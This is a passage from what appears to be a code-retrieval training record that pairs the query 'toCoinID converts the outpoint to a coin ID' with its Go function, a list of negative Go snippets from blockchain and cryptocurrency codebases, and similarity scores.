result will be correctly padded.\n\tfor i, b := range reversedHash[:HashSize/2] {\n\t\tdst[i], dst[HashSize-1-i] = reversedHash[HashSize-1-i], b\n\t}\n\n\treturn nil\n}", "func (sc *Contract) Uid() uint64 {\n\treturn (uint64(sc.TimeStamp)&0xFFFFFFFFFF)<<24 | (binary.BigEndian.Uint64(sc.TransactionHash[:8]) & 0xFFFFFF)\n}", "func (app *DemocoinApp) txDecoder(txBytes []byte) (sdk.Tx, sdk.Error) {\n\tvar tx = sdk.StdTx{}\n\n\tif len(txBytes) == 0 {\n\t\treturn nil, sdk.ErrTxDecode(\"txBytes are empty\")\n\t}\n\n\t// StdTx.Msg is an interface. The concrete types\n\t// are registered by MakeTxCodec in bank.RegisterWire.\n\terr := app.cdc.UnmarshalBinary(txBytes, &tx)\n\tif err != nil {\n\t\treturn nil, sdk.ErrTxDecode(\"\").TraceCause(err, \"\")\n\t}\n\treturn tx, nil\n}", "func (id *UUID) DecodeString(src []byte) {\n\tconst srcBase = 62\n\tconst dstBase = 0x100000000\n\n\tparts := [StringMaxLen]byte{}\n\n\tpartsIndex := 21\n\tfor i := len(src); i > 0; {\n\t\t// offsets into base62Characters\n\t\tconst offsetUppercase = 10\n\t\tconst offsetLowercase = 36\n\n\t\ti--\n\t\tb := src[i]\n\t\tswitch {\n\t\tcase b >= '0' && b <= '9':\n\t\t\tb -= '0'\n\t\tcase b >= 'A' && b <= 'Z':\n\t\t\tb = offsetUppercase + (b - 'A')\n\t\tdefault:\n\t\t\tb = offsetLowercase + (b - 'a')\n\t\t}\n\t\tparts[partsIndex] = b\n\t\tpartsIndex--\n\t}\n\n\tn := len(id)\n\tbp := parts[:]\n\tbq := make([]byte, 0, len(src))\n\n\tfor len(bp) > 0 {\n\t\tquotient := bq[:0]\n\t\tremainder := uint64(0)\n\n\t\tfor _, c := range bp {\n\t\t\tvalue := uint64(c) + uint64(remainder)*srcBase\n\t\t\tdigit := value / dstBase\n\t\t\tremainder = value % dstBase\n\n\t\t\tif len(quotient) != 0 || digit != 0 {\n\t\t\t\tquotient = append(quotient, byte(digit))\n\t\t\t}\n\t\t}\n\n\t\tid[n-4] = byte(remainder >> 24)\n\t\tid[n-3] = byte(remainder >> 16)\n\t\tid[n-2] = byte(remainder >> 8)\n\t\tid[n-1] = byte(remainder)\n\t\tn -= 4\n\t\tbp = quotient\n\t}\n\n\tvar zero [16]byte\n\tcopy(id[:n], zero[:])\n}", "func (u utxo) convert() *bitcoin.UnspentTransactionOutput {\n\ttransactionHash, err := bitcoin.NewHashFromString(\n\t\tu.Outpoint.TransactionHash,\n\t\tbitcoin.ReversedByteOrder,\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn &bitcoin.UnspentTransactionOutput{\n\t\tOutpoint: &bitcoin.TransactionOutpoint{\n\t\t\tTransactionHash: transactionHash,\n\t\t\tOutputIndex: u.Outpoint.OutputIndex,\n\t\t},\n\t\tValue: u.Value,\n\t}\n}", "func (api *PublicEthereumAPI) ChainId() (hexutil.Uint, error) { // nolint\n\tapi.logger.Debug(\"eth_chainId\")\n\treturn hexutil.Uint(uint(api.chainIDEpoch.Uint64())), nil\n}", "func (m *IBTP) DstChainID() string {\n\t_, chainID, _, _ := parseFullServiceID(m.To)\n\treturn chainID\n}", "func GetJoinPoolAndStakeAssetIDFromBytes(bz []byte) uint64 {\n\treturn binary.BigEndian.Uint64(bz)\n}", "func PeerID() string {\n\treturn \"-UT3530-\" + Base62String(12)\n}", "func BobUnDepositETHAPIHandler(w http.ResponseWriter, r *http.Request) {\n\tLog := Logger.NewSessionLogger()\n\n\tvar plog PodLog\n\tplog.Result = LOG_RESULT_FAILED\n\tplog.Operation = LOG_OPERATION_TYPE_BOB_UNDEPOSIT\n\n\tdefer func() {\n\t\terr := insertLogToDB(plog)\n\t\tif err != nil {\n\t\t\tLog.Warnf(\"insert log error! %v\", err)\n\t\t\treturn\n\t\t}\n\t\tnodeRecovery(w, Log)\n\t}()\n\n\tAliceAddr := r.FormValue(\"address\")\n\tLog.Infof(\"start undeposit eth from Alice in contract. Alice address=%v\", AliceAddr)\n\n\tif AliceAddr == \"\" {\n\t\tLog.Warnf(\"incomplete parameter. Alice address=%v\", AliceAddr)\n\t\tfmt.Fprintf(w, RESPONSE_UNDEPOSIT_CONTRACT_FAILED)\n\t\treturn\n\t}\n\tplog.Detail = fmt.Sprintf(\"Alice address=%v\", AliceAddr)\n\n\tLog.Debugf(\"start send transaction to undeposit eth to Alice in contract...Alice address=%v\", AliceAddr)\n\tt := time.Now()\n\ttxid, err := BobUnDeposit(AliceAddr)\n\tif err != nil {\n\t\tLog.Warnf(\"failed to undeposit eth to contract. err=%v\", err)\n\t\tfmt.Fprintf(w, RESPONSE_UNDEPOSIT_CONTRACT_FAILED)\n\t\treturn\n\t}\n\tLog.Infof(\"success to send transaction to undeposit eth...txid=%v, Alice address=%v, time cost=%v\", txid, AliceAddr, time.Since(t))\n\n\tplog.Result = LOG_RESULT_SUCCESS\n\tfmt.Fprintf(w, fmt.Sprintf(RESPONSE_SUCCESS, \"undepositing eth from contract...\"))\n\treturn\n}", "func NewDecCoinFromDec(denom string, amount Dec) DecCoin {\n\tmustValidateDenom(denom)\n\n\tif amount.LT(ZeroDec()) {\n\t\tpanic(fmt.Sprintf(\"negative decimal coin amount: %v\\n\", amount))\n\t}\n\n\treturn DecCoin{\n\t\tDenom: denom,\n\t\tAmount: amount,\n\t}\n}", "func TraceIDFromHex(h string) (TraceID, error) {\n\tt := TraceID{}\n\tif len(h) != 32 {\n\t\treturn t, errors.New(\"hex encoded trace-id must have length equals to 32\")\n\t}\n\n\tfor _, r := range h {\n\t\tswitch {\n\t\tcase 'a' <= r && r <= 'f':\n\t\t\tcontinue\n\t\tcase '0' <= r && r <= '9':\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn t, errors.New(\"trace-id can only contain [0-9a-f] characters, all lowercase\")\n\t\t}\n\t}\n\n\tb, err := hex.DecodeString(h)\n\tif err != nil {\n\t\treturn t, err\n\t}\n\tcopy(t[:], b)\n\n\tif !t.isValid() {\n\t\treturn t, errors.New(\"trace-id can't be all zero\")\n\t}\n\treturn t, nil\n}", "func decodeGetDealByDIDRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\tvars := mux.Vars(r)\n\tid, ok := vars[\"dId\"]\n\tif !ok {\n\t\treturn nil, errors.New(\"not a valid dId\")\n\t}\n\treq := endpoint.GetDealByDIDRequest{\n\t\tId: id,\n\t}\n\treturn req, nil\n}", "func BlockIDFromProto(bID *tmproto.BlockID) (*BlockID, error) {\n\tif bID == nil {\n\t\treturn nil, errors.New(\"nil BlockID\")\n\t}\n\n\tblockID := new(BlockID)\n\tph, err := PartSetHeaderFromProto(&bID.PartSetHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblockID.PartSetHeader = *ph\n\tblockID.Hash = bID.Hash\n\n\treturn blockID, blockID.ValidateBasic()\n}", "func BlockIDFromProto(bID *tmproto.BlockID) (*BlockID, error) {\n\tif bID == nil {\n\t\treturn nil, errors.New(\"nil BlockID\")\n\t}\n\n\tblockID := new(BlockID)\n\tph, err := PartSetHeaderFromProto(&bID.PartSetHeader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblockID.PartSetHeader = *ph\n\tblockID.Hash = bID.Hash\n\n\treturn blockID, blockID.ValidateBasic()\n}", "func (_TokensNetwork *TokensNetworkCaller) ChainId(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _TokensNetwork.contract.Call(opts, out, \"chain_id\")\n\treturn *ret0, err\n}" ]
[ "0.7952344", "0.7952344", "0.7952344", "0.73947984", "0.73801225", "0.7359979", "0.7359979", "0.7313785", "0.7311404", "0.70934844", "0.65640086", "0.6383265", "0.6383265", "0.6383265", "0.5988277", "0.56237215", "0.54667443", "0.5415308", "0.5366419", "0.5259613", "0.5194115", "0.5162672", "0.51508844", "0.51297766", "0.5121541", "0.50566685", "0.5053777", "0.50425124", "0.50425124", "0.49996904", "0.49660164", "0.4939664", "0.4864032", "0.4815324", "0.47611994", "0.47422162", "0.47285992", "0.47281516", "0.4716442", "0.46906328", "0.46906328", "0.4685584", "0.4673441", "0.4659805", "0.46297652", "0.46297652", "0.46257275", "0.46228546", "0.46226415", "0.45530742", "0.45476344", "0.4518587", "0.45173007", "0.45151728", "0.45122802", "0.45102236", "0.45024326", "0.4494603", "0.44866168", "0.44725072", "0.44711754", "0.44439548", "0.44360045", "0.4427196", "0.4414179", "0.44121075", "0.4404378", "0.43972546", "0.43963638", "0.4386627", "0.4385039", "0.43799314", "0.4355289", "0.43504134", "0.4350162", "0.43485838", "0.43390062", "0.43311805", "0.4330985", "0.43243915", "0.43208322", "0.43173468", "0.4307024", "0.43020737", "0.42969933", "0.42910573", "0.42876917", "0.42848733", "0.4280632", "0.42799884", "0.42593056", "0.42527768", "0.42523804", "0.42464852", "0.42457116", "0.42434353", "0.42268598", "0.4225438", "0.4225438", "0.42208993" ]
0.7893231
3
toCoinID converts the outpoint to a coin ID.
func toCoinID(txHash *chainhash.Hash, vout uint32) []byte { hashLen := len(txHash) b := make([]byte, hashLen+4) copy(b[:hashLen], txHash[:]) binary.BigEndian.PutUint32(b[hashLen:], vout) return b }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func ToCoinID(flags uint16, addr *common.Address, secretHash []byte) []byte {\n\tb := make([]byte, coinIDSize)\n\tb[0] = byte(flags)\n\tb[1] = byte(flags >> 8)\n\tcopy(b[2:], addr[:])\n\tcopy(b[22:], secretHash[:])\n\treturn b\n}", "func outpointID(txid string, vout uint32) string {\n\treturn txid + \":\" + strconv.Itoa(int(vout))\n}", "func txOutID(txHash *chainhash.Hash, index uint32) string {\n\treturn txHash.String() + \":\" + strconv.Itoa(int(index))\n}", "func (dcr *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxOut, err := dcr.node.GetTxOut(dcr.ctx, txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error finding unspent output %s:%d: %w\", txHash, vout, translateRPCCancelErr(err))\n\t}\n\tif txOut == nil {\n\t\treturn nil, asset.CoinNotFoundError\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttree := wire.TxTreeRegular\n\tif dexdcr.IsStakePubkeyHashScript(pkScript) || dexdcr.IsStakeScriptHashScript(pkScript) {\n\t\ttree = wire.TxTreeStake\n\t}\n\treturn newOutput(txHash, vout, coin.Value(), tree), nil\n}", "func (service *channelIdManager) NewChanIDFromOutPoint(op *OutPoint) string {\n\t// First we'll copy the txid of the outpoint into our channel ID slice.\n\tvar cid ChannelID\n\tcopy(cid[:], op.Hash[:])\n\n\t// With the txid copied over, we'll now XOR the lower 2-bytes of the partial channelID with big-endian serialization of output index.\n\txorTxid(&cid, uint16(op.Index))\n\ttemp := cid[:]\n\treturn hex.EncodeToString(temp)\n}", "func (btc *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newOutput(btc.node, txHash, vout, coin.Value(), coin.Redeem()), nil\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(op.txHash(), op.vout())\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(op.txHash(), op.vout())\n}", "func (r *RPCKeyRing) coinFromOutPoint(op wire.OutPoint) (*chanfunding.Coin,\n\terror) {\n\n\tinputInfo, err := r.WalletController.FetchInputInfo(&op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &chanfunding.Coin{\n\t\tTxOut: wire.TxOut{\n\t\t\tValue: int64(inputInfo.Value),\n\t\t\tPkScript: inputInfo.PkScript,\n\t\t},\n\t\tOutPoint: inputInfo.OutPoint,\n\t}, nil\n}", "func (dcr *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newOutput(txHash, vout, coin.Value(), wire.TxTreeUnknown), nil\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(&op.txHash, op.vout)\n}", "func (_PlasmaFramework *PlasmaFrameworkCaller) VaultToId(opts *bind.CallOpts, _vaultAddress common.Address) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _PlasmaFramework.contract.Call(opts, out, \"vaultToId\", _vaultAddress)\n\treturn *ret0, err\n}", "func decodeCoinID(coinID []byte) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func ToEthereumChainID(chainID string) (*big.Int, error) {\n\t// This is the same way that LoomProvider in loom-js converts the chain ID\n\tchainIDHash := hex.EncodeToString(crypto.Keccak256([]byte(chainID)))\n\tif len(chainIDHash) < 13 {\n\t\treturn nil, errors.New(\"invalid chain ID hash\")\n\t}\n\tethChainID, ok := big.NewInt(0).SetString(chainIDHash[0:13], 16)\n\tif !ok {\n\t\treturn nil, errors.New(\"failed to convert chain ID to integer\")\n\t}\n\treturn ethChainID, nil\n}", "func DecodeCoinID(assetID uint32, coinID []byte) (string, error) {\n\tdrv, ok := baseDriver(assetID)\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"unknown asset driver %d\", assetID)\n\t}\n\treturn drv.DecodeCoinID(coinID)\n}", "func (_PlasmaFramework *PlasmaFrameworkCallerSession) VaultToId(_vaultAddress common.Address) (*big.Int, error) {\n\treturn _PlasmaFramework.Contract.VaultToId(&_PlasmaFramework.CallOpts, _vaultAddress)\n}", "func (n Network) ChainID(ctx context.Context) (string, error) {\n\tstatus, err := n.cosmos.Status(ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn status.NodeInfo.Network, nil\n}", "func deriveChainID(v *big.Int) *big.Int {\n\tif v.BitLen() <= 64 {\n\t\tv := v.Uint64()\n\t\tif v == 27 || v == 28 {\n\t\t\treturn new(big.Int)\n\t\t}\n\t\treturn new(big.Int).SetUint64((v - 35) / 2)\n\t}\n\tv = new(big.Int).Sub(v, big.NewInt(35))\n\treturn v.Div(v, big.NewInt(2))\n}", "func deriveChainID(v *big.Int) *big.Int {\n\tif v.BitLen() <= 64 {\n\t\tv := v.Uint64()\n\t\tif v == 27 || v == 28 {\n\t\t\treturn new(big.Int)\n\t\t}\n\t\treturn new(big.Int).SetUint64((v - 35) / 2)\n\t}\n\tv = new(big.Int).Sub(v, big.NewInt(35))\n\treturn v.Div(v, big.NewInt(2))\n}", "func ConvertOutputCoinToInputCoin(usableOutputsOfOld []*crypto.OutputCoin) []*crypto.InputCoin {\n\tvar inputCoins []*crypto.InputCoin\n\n\tfor _, coin := range usableOutputsOfOld {\n\t\tinCoin := new(crypto.InputCoin)\n\t\tinCoin.CoinDetails = coin.CoinDetails\n\t\tinputCoins = append(inputCoins, inCoin)\n\t}\n\treturn inputCoins\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"<invalid>\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func chainID(chain []*x509.Certificate) string {\n\thashes := []string{}\n\tfor _, c := range chain {\n\t\thashes = append(hashes, fmt.Sprintf(\"%x\", sha256.Sum256(c.Raw)))\n\t}\n\tsort.Strings(hashes)\n\th := sha256.New()\n\tfor _, hStr := range hashes {\n\t\th.Write([]byte(hStr))\n\t}\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "func (_TokensNetwork *TokensNetworkCaller) ChainId(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _TokensNetwork.contract.Call(opts, out, \"chain_id\")\n\treturn *ret0, err\n}", "func (_PlasmaFramework *PlasmaFrameworkSession) VaultToId(_vaultAddress common.Address) (*big.Int, error) {\n\treturn _PlasmaFramework.Contract.VaultToId(&_PlasmaFramework.CallOpts, _vaultAddress)\n}", "func (_InboxHelperTester *InboxHelperTesterCaller) ChainId(opts *bind.CallOpts, rollup common.Address) (*big.Int, error) {\n\tvar out []interface{}\n\terr := _InboxHelperTester.contract.Call(opts, &out, \"chainId\", rollup)\n\n\tif err != nil {\n\t\treturn *new(*big.Int), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(*big.Int)).(**big.Int)\n\n\treturn out0, err\n\n}", "func ipToID(ipnet net.IPNet, ip net.IP) (uint, error) {\n\tif !ipnet.Contains(ip) {\n\t\treturn 0, fmt.Errorf(\"computed IP %v is not in network\", ip)\n\t}\n\n\tsi := ipnet.IP.To4()\n\tsv := uint(si[0])<<24 + uint(si[1])<<16 + uint(si[2])<<8 + uint(si[3])\n\n\ti := ip.To4()\n\tv := uint(i[0])<<24 + uint(i[1])<<16 + uint(i[2])<<8 + uint(i[3])\n\n\treturn v - sv, nil\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxHash, err := dexeth.DecodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn txHash.String(), nil\n}", "func PeerID() string {\n\treturn \"-UT3530-\" + Base62String(12)\n}", "func (api *PublicEthereumAPI) ChainId() (hexutil.Uint, error) { // nolint\n\tapi.logger.Debug(\"eth_chainId\")\n\treturn hexutil.Uint(uint(api.chainIDEpoch.Uint64())), nil\n}", "func (o GetChainsChainOutput) ChainId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetChainsChain) string { return v.ChainId }).(pulumi.StringOutput)\n}", "func CoinIDToString(coinID []byte) (string, error) {\n\tflags, addr, secretHash, err := DecodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%x:%x:%x\", flags, addr, secretHash), nil\n}", "func DecodeCoinID(name string, coinID []byte) (string, error) {\n\tdriversMtx.Lock()\n\tdrv, ok := drivers[name]\n\tdriversMtx.Unlock()\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"db: unknown asset driver %q\", name)\n\t}\n\treturn drv.DecodeCoinID(coinID)\n}", "func (api *API) consensusGetUnspentCoinOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.CoinOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetCoinOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentCoinOutput{Output: output})\n}", "func MakeOverlayNodeID(peerName string) string {\n\treturn \"#\" + peerName\n}", "func (o *CommitteeInfoResponse) GetChainId() string {\n\tif o == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\n\treturn o.ChainId\n}", "func MakeConverterID(from, to string) string {\n\tif from == to {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprintf(\"%v|%v\", from, to)\n}", "func (ec *Client) ChainID(ctx context.Context) (*big.Int, error) {\n\treturn ec.c.ChainID(ctx)\n}", "func (t Transaction) SiacoinOutputID(i int) SiacoinOutputID {\n\treturn SiacoinOutputID(crypto.HashAll(\n\t\tSpecifierSiacoinOutput,\n\t\tt.SiacoinInputs,\n\t\tt.SiacoinOutputs,\n\t\tt.FileContracts,\n\t\tt.FileContractTerminations,\n\t\tt.StorageProofs,\n\t\tt.SiafundInputs,\n\t\tt.SiafundOutputs,\n\t\tt.MinerFees,\n\t\tt.ArbitraryData,\n\t\ti,\n\t))\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (bav *UtxoView) HelpConnectCreatorCoinSell(\n\ttxn *MsgBitCloutTxn, txHash *BlockHash, blockHeight uint32, verifySignatures bool) (\n\t_totalInput uint64, _totalOutput uint64, _bitCloutReturnedNanos uint64,\n\t_utxoOps []*UtxoOperation, _err error) {\n\n\t// Connect basic txn to get the total input and the total output without\n\t// considering the transaction metadata.\n\ttotalInput, totalOutput, utxoOpsForTxn, err := bav._connectBasicTransfer(\n\t\ttxn, txHash, blockHeight, verifySignatures)\n\tif err != nil {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(err, \"_connectCreatorCoin: \")\n\t}\n\n\t// Force the input to be non-zero so that we can prevent replay attacks. If\n\t// we didn't do this then someone could replay your sell over and over again\n\t// to force-convert all your creator coin into BitClout. Think about it.\n\tif totalInput == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinRequiresNonZeroInput\n\t}\n\n\t// Verify that the output does not exceed the input. This check should also\n\t// be done by the caller, but we do it here as well.\n\tif totalInput < totalOutput {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputExceedsInput,\n\t\t\t\"_connectCreatorCoin: Input: %v, Output: %v\", totalInput, totalOutput)\n\t}\n\n\t// At this point the inputs and outputs have been processed. Now we\n\t// need to handle the metadata.\n\n\t// Check that the specified profile public key is valid and that a profile\n\t// corresponding to that public key exists.\n\ttxMeta := txn.TxnMeta.(*CreatorCoinMetadataa)\n\tif len(txMeta.ProfilePublicKey) != btcec.PubKeyBytesLenCompressed {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinInvalidPubKeySize\n\t}\n\n\t// Dig up the profile. It must exist for the user to be able to\n\t// operate on its coin.\n\texistingProfileEntry := bav.GetProfileEntryForPublicKey(txMeta.ProfilePublicKey)\n\tif existingProfileEntry == nil || existingProfileEntry.isDeleted {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinOperationOnNonexistentProfile,\n\t\t\t\"_connectCreatorCoin: Profile pub key: %v %v\",\n\t\t\tPkToStringMainnet(txMeta.ProfilePublicKey), PkToStringTestnet(txMeta.ProfilePublicKey))\n\t}\n\n\t// At this point we are confident that we have a profile that\n\t// exists that corresponds to the profile public key the user\n\t// provided.\n\n\t// Look up a BalanceEntry for the seller. If it doesn't exist then the seller\n\t// implicitly has a balance of zero coins, and so the sell transaction shouldn't be\n\t// allowed.\n\tsellerBalanceEntry, _, _ := bav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\ttxn.PublicKey, existingProfileEntry.PublicKey)\n\tif sellerBalanceEntry == nil || sellerBalanceEntry.isDeleted {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellerBalanceEntryDoesNotExist\n\t}\n\n\t// Check that the amount of creator coin being sold is non-zero.\n\tcreatorCoinToSellNanos := txMeta.CreatorCoinToSellNanos\n\tif creatorCoinToSellNanos == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellMustTradeNonZeroCreatorCoin\n\t}\n\n\t// Check that the amount of creator coin being sold does not exceed the user's\n\t// balance of this particular creator coin.\n\tif creatorCoinToSellNanos > sellerBalanceEntry.BalanceNanos {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinSellInsufficientCoins,\n\t\t\t\"_connectCreatorCoin: CreatorCoin nanos being sold %v exceeds \"+\n\t\t\t\t\"user's creator coin balance %v\",\n\t\t\tcreatorCoinToSellNanos, sellerBalanceEntry.BalanceNanos)\n\t}\n\n\t// If the amount of BitClout locked in the profile is zero then selling is\n\t// not allowed.\n\tif existingProfileEntry.BitCloutLockedNanos == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellNotAllowedWhenZeroBitCloutLocked\n\t}\n\n\tbitCloutBeforeFeesNanos := uint64(0)\n\t// Compute the amount of BitClout to return.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\t// Following the SalomonFixBlockHeight block, if a user would be left with less than\n\t\t// bav.Params.CreatorCoinAutoSellThresholdNanos, we clear all their remaining holdings\n\t\t// to prevent 1 or 2 lingering creator coin nanos from staying in their wallet.\n\t\t// This also gives a method for cleanly and accurately reducing the numberOfHolders.\n\n\t\t// Note that we check that sellerBalanceEntry.BalanceNanos >= creatorCoinToSellNanos above.\n\t\tif sellerBalanceEntry.BalanceNanos-creatorCoinToSellNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\t// Setup to sell all the creator coins the seller has.\n\t\t\tcreatorCoinToSellNanos = sellerBalanceEntry.BalanceNanos\n\n\t\t\t// Compute the amount of BitClout to return with the new creatorCoinToSellNanos.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t} else {\n\t\t\t// If we're above the CreatorCoinAutoSellThresholdNanos, we can safely compute\n\t\t\t// the amount to return based on the Bancor curve.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Prior to the SalomonFixBlockHeight block, coins would be minted based on floating point\n\t\t// arithmetic with the exception being if a creator was selling all remaining creator coins. This caused\n\t\t// a rare issue where a creator would be left with 1 creator coin nano in circulation\n\t\t// and 1 nano 